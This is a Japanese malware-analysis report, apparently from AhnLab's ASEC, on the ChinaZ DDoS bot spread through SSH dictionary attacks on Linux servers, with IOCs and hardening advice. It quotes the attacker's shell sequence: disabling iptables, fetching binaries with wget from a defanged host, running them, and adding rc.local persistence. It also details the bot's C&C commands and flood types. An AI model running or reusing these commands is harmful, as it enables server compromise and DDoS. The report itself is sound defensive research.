Linux SSH サーバーを対象として拡散している ChinaZ DDoS Bot マルウェア

AhnLab Security Emergency response Center (ASEC)では最近、不適切に管理されている Linux SSH サーバーを対象に ChinaZ DDoS Bot マルウェアがインストールされていることを確認した。ChinaZ グループは2014年頃から確認されている中国の攻撃グループの一つで、Windows および Linux システムを対象に、様々な DDoS Bot をインストールしている。[1] ChinaZ 攻撃グループが製作したことで知られている DDoS Bot マルウェアは、代表的なものに XorDDoS、AESDDos、BillGates、MrBlack などがあり、本記事では ChinaZ または ChinaZ DDoSClient と呼ばれる DDoS Bot を扱う。

1. Linux SSH サーバーを対象とした攻撃キャンペーン

一般ユーザーの主な作業環境であるデスクトップとは異なり、サーバーは主に特定のサービスを提供する役割を担っている。そのため、デスクトップ環境ではマルウェアが主に Web ブラウザを通して、もしくはメールの添付ファイルを通して実行され、攻撃者もまたマルウェアのインストールを誘導するため、正常なプログラムに偽装してマルウェアを配布していた。サーバー環境を対象にした攻撃者は、このような方式でマルウェアを配布するのに限界があるため、他の方式を使用する。代表的には、不適切に管理されていたり、最新バージョンをパッチしていない脆弱性攻撃に脆弱なサービスが対象になる。

不適切に管理されているサービスには、単純な形態のアカウント情報を使用していることによって、辞書攻撃に脆弱なタイプがある。例えば、Windows OS を対象にした主な攻撃ベクトルの一つである Remote Desktop Protocol(RDP) および MS-SQL サービスが代表的である。Linux サーバー環境では主に Secure Shell(SSH) サービスが攻撃対象になり、古い Linux サーバーもしくは組みこみ Linux OS がインストールされた IoT 環境では Telnet サービスが辞書攻撃の対象になることもある。

今回ブログで取り扱う ChinaZ 攻撃グループの ChinaZ DDosClient は、攻撃者がスキャナーおよび SSH BruteForce マルウェアを利用して獲得したアカウント情報を利用し、インストールされたものと推定される。攻撃者は22番ポート、すなわち SSH サービスが動作するシステムをスキャニングした後、SSH サービスが動作しているシステムを探して、その後は頻繁に使用される SSH アカウント情報リストを利用し、辞書攻撃を行っていた。

User Password 攻撃対象
root 45.113.163[.]219
Table 1.ChinaZ グループが攻撃に使用したアカウント情報

ChinaZ をインストールした攻撃者は、ログイン後に以下のようなコマンドを利用して、ChinaZ を Linux サーバーにインストールしていた。SSH サーバーにログインした攻撃者のアドレスと ChinaZ をダウンロードするアドレスは同じである。

# service iptables stop
# wget hxxp://45.113.163[.]219/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 777 linux64
# ./linux64
# chmod 0755 /root/linux64
# nohup /root/linux64 > /dev/null 2>&1 &
# chmod 0777 linux64
# chmod u+x linux64
# ./linux64 &
# chmod u+x linux64
# ./linux64 &
# cd /tmp
# service iptables stop
# wget hxxp://45.113.163[.]219/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 777 linux32
# ./164
# chmod 0755 /root/linux32
# nohup /root/linux32 > /dev/null 2>&1 &
# chmod 0777 linux32
# chmod u+x linux32
# ./linux32 &
# chmod u+x dos6cc4
# ./linux32 &
# cd /tmp
# echo “cd /root/”>>/etc/rc.local
# echo “./linux64&”>>/etc/rc.local
# echo “./linux32&”>>/etc/rc.local
# echo “/etc/init.d/iptables stop”>>/etc/rc.local

攻撃者は iptables、すなわちファイアウォールを無効化し、wget を利用して x86 および x64 アーキテクチャでビルドされた ChinaZ DDoSClient をインストールしていた。攻撃者は root アカウントでログインして、ダウンロードしたマルウェアは /root パスにインストールしていた。その後インストールした ChinaZ を実行し、これが維持されるように rc.local に登録して、再起動後も動作するように設定していた。

2. ChinaZ DDoSClient (Linux)

ChinaZ DDoSClient はアーキテクチャによって「Linux32」もしくは「Linux64」という名前でインストールされていた。ChinaZ はバイナリにデバッグ情報が含まれているため、製作者が設定した様々な情報を獲得することができ、さらにはソースコードも公開されている一種のオープンソースマルウェアである。

ChinaZ は実行すると、「declient」という名前で偽装し、prctl()関数の引数で「PR_SET_NAME」を「declient」という名前に設定する方式が使用される。これにより「pstree」コマンドや「/cat /proc/[pid]/comm」のようなコマンドで、現在実行中のプロセスを検査すると「declient」というプロセスが確認される。

Figure 1. declient に偽装した ChinaZ DDoSClient

コードに見られる「MK64_SecurtDoor」文字列は、攻撃者が指定した Logo 文字列で、以前から確認されている文字列の一つである。[2] このマルウェアは x86 アーキテクチャ基準であり、x64 アーキテクチャバイナリでは「ceS_46KM」という名前が Logo 文字列として使用される。

Figure 2. 攻撃者が設定した Logo 文字列

ChinaZ は C&C サーバーのアドレスをエンコードして持っており、CSocketManager::Initalize() メソッドで簡単な復号化ルーティンを通して C&C サーバーのアドレスを求めることができる。

Figure 3. C&C サーバーアドレスを復号化するルーティン

実質的な機能は CSocketManager::Woring() メソッドが担っているが、まず CSocketManager::GetOnlineInfo() メソッドで感染システムの基本的な情報を収集した後、C&C サーバーに伝達する。公開されたソースコードによると、伝達する情報は LOGININFO 構造体であり、以下のような構造を持っている。

Offset Size 説明
0x0000 0x0040 OS バージョン情報(OS 名、リリース情報)
0x0040 0x0020 バージョン情報(G2-F5)
0x0060 0x0020 CPU 情報(プロセス数、性能)
0x0080 0x0020 RAM サイズ
0x00A0 0x0020 ネットワークカード情報
0x00C0 0x0010 DDoS 攻撃帯域幅情報
0x00D0 0x0010 CPU 使用量
0x00E0 0x0020 攻撃者の Mark 文字列(「UST」)
0x0100 0x0004 DDoS 攻撃プラグ(0:攻撃中、1:攻撃中止)
0x0104 0x0004 現在進行している DDoS 攻撃回数
0x0108 0x0080 現在実行中の DDoS 攻撃状態
Table 2. LOGININFO 構造体

感染システムで情報を収集するプロセスは以下のようなルーティンによって成り立っている。単純に uname() のような関数を利用する方法から、「cat」や「ethtool」コマンドを利用するなど、情報収集のため、様々な方法を使用するのが特徴である。

Figure 4. 情報収集ルーティン

収集した情報は CSocketManager::SendOnlineInfo() メソッドを通して C&C サーバーに伝達され、その後 C&C サーバーから伝達されたコマンドを通して不正な振る舞いを実行することができる。

Figure 5. C&C サーバーに伝達された感染システム情報– Linux バージョン

ChinaZ は攻撃者のコマンドを受け取って、悪意のある振る舞いを実行することができる。以下は実行可能なコマンドリストである。

コマンド番号 コマンド名 説明
0x0008 COMMAND_RUN_CMD コマンド実行
0x0009 COMMAND_DNS_SET DNS サーバー設定
0x0010 COMMAND_DDOS_ATTACK DDoS 攻撃
0x0011 COMMAND_DDOS_STOP DDoS 攻撃停止
0x0012 COMMAND_DDOS_SET 攻撃対象 IP アドレス帯域設定
0x0014 TOKEN_HEARTBEAT HeartBeat
0x0016 TOKEN_LOGO_CHANGE Logo 変更
0x0017 TOKEN_SET_CPU_LIMIT CPU 限界設定
0x0018 TOKEN_SET_ONLINE_ADDR C&C サーバーアドレス変更
Table 3. ChinaZ コマンドリスト (Linux バージョン)
Figure 6. コマンド実行ルーティン

DDoS Bot である ChinaZ は、サポートする大半のコマンドが DdoS 攻撃であることが特徴である。サポートする DDoS 攻撃には SYN、UDP、ICMP、DNS Flood 攻撃がある。

コマンド番号 コマンド名 説明
0x0001 ATTACK_SYN SYN Flood
0x0002 ATTACK_UDP UDP Flood
0x0003 ATTACK_ICMP ICMP Flood
0x0004 ATTACK_DNS DNS Flood
Table 4. DDoS 攻撃コマンド

3. ChinaZ DDoSClient (Windows)

Linux SSH サーバーを対象とした攻撃では確認されていないが、VirusTotal を通して Windows システムを対象とする PE フォーマットの ChinaZ も確認された。Linux バージョンと実質的にはほとんど同じであるため、ここではその差について主に言及する。

Windows バージョンの ChinaZ は Linux バージョンと同じく「Declient」という名前で偽装している。そのため、%SystemRoot% パスに「Declient.exe」という名前で自身をコピーし、Run キーに登録して、再起動後も動作するようにしていた。

Figure 7. Run キーに登録された ChinaZ

C&C サーバーのアドレスと、一定時間以降に動作する2番目の C&C サーバー、すなわち Backdoor C&C アドレスも、従来の Linux バージョンと同じである。

Figure 8. 復号化された C&C サーバーアドレス

感染システムから収集する情報が保存される LOGININFO 構造体は、Linux バージョンと同じであるが、いくつかの項目は使用されない。Mark 文字列は Linux バージョンと同じく「UST」が使用されていた。

Offset Size 説明
0x0000 0x0040 OS バージョン情報
0x0040 0x0020 使用しない
0x0060 0x0020 CPU 性能情報
0x0080 0x0020 使用しない
0x00A0 0x0020 使用しない
0x00C0 0x0010 DDoS 攻撃帯域幅情報
0x00D0 0x0010 CPU 使用量
0x00E0 0x0020 攻撃者の Mark 文字列(「UST」)
0x0100 0x0004 DDoS 攻撃プラグ(0:攻撃中、1:攻撃中止)
0x0104 0x0004 現在進行している DDoS 攻撃回数
0x0108 0x0080 現在実行中の DDoS 攻撃状態
Table 5. LOGININFO 構造体 (Windows)
Figure 9. C&C サーバーに伝達される感染システム情報 – Windows バージョン

サポートするコマンドの場合は実質的に同じだが、Linux バージョンと比較して数が少なくなっている。DDoS 攻撃コマンドは SYN、UDP、ICMP、DNS Flood の4つすべてが同じである。

コマンド番号 コマンド名 説明
0x0008 COMMAND_RUN_CMD コマンド実行
0x0009 COMMAND_DNS_SET DNS サーバー設定
0x0010 COMMAND_DDOS_ATTACK DDoS 攻撃
0x0011 COMMAND_DDOS_STOP DDoS 攻撃停止
0x0014 TOKEN_HEARTBEAT HeartBeat
Table 6. ChinaZ コマンドリスト (Windows バージョン)

4. 結論

最近、不適切に管理されている Linux SSH サーバーを対象に、攻撃者が ChinaZ DDoS Bot マルウェアをインストールしている。このようなタイプの攻撃は以前から行われ続けており、最近までも多数の攻撃が確認されている。ChinaZ DDoS Bot がインストールされる場合、Linux サーバーは攻撃者のコマンドを受けて、特定対象について DDoS 攻撃を実行する DDoS Bot として使用される場合があり、それ以外にも追加のマルウェアがインストールされたり、他の攻撃に使用されたりもする。

そのため、管理者はアカウントのパスワードを推測が困難な形式で設定し、定期的にパスワードを変更することで、総当たり攻撃や辞書攻撃から Linux サーバーを保護しなければならず、セキュリティパッチを最新にして脆弱性攻撃を防止しなければならない。また、外部に開放されていてアクセスが可能なサーバーに関してはファイアウォールのようなセキュリティ製品を利用し、外部の攻撃者からのアクセスを統制しなければならない。最後に、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払わなければならない。

ファイル検知
– Linux/Ddos.1571389 (2015.05.14)
– Linux/Ddos.1806356 (2015.05.14)
– Trojan/Win32.Agent.R192331 (2016.12.25.08)

IOC
MD5

– c69f5eb555cc10f050375353c205d5fa : ChinaZ DDoSClient – Linux x86 (linux32)
– c9eb0815129c135db5bbb8ac79686b9a : ChinaZ DDoSClient – Linux x64 (linux64)
– 2ec7348e6b6b32d50a01c3ffe480ef70 : ChinaZ DDoSClient – Windows x86 (win32)

ダウンロードアドレス
– hxxp://45.113.163[.]219/linux32
– hxxp://45.113.163[.]219/linux64
– hxxp://45.113.163[.]219/win32

C&C アドレス
– 45.113.163[.]219:29134
– www[.]911ddos[.]com:10912

関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。

Categories:マルウェアの情報

Tagged as:

5 1 vote
評価する
Subscribe
Notify of
guest

0 コメント
Inline Feedbacks
View all comments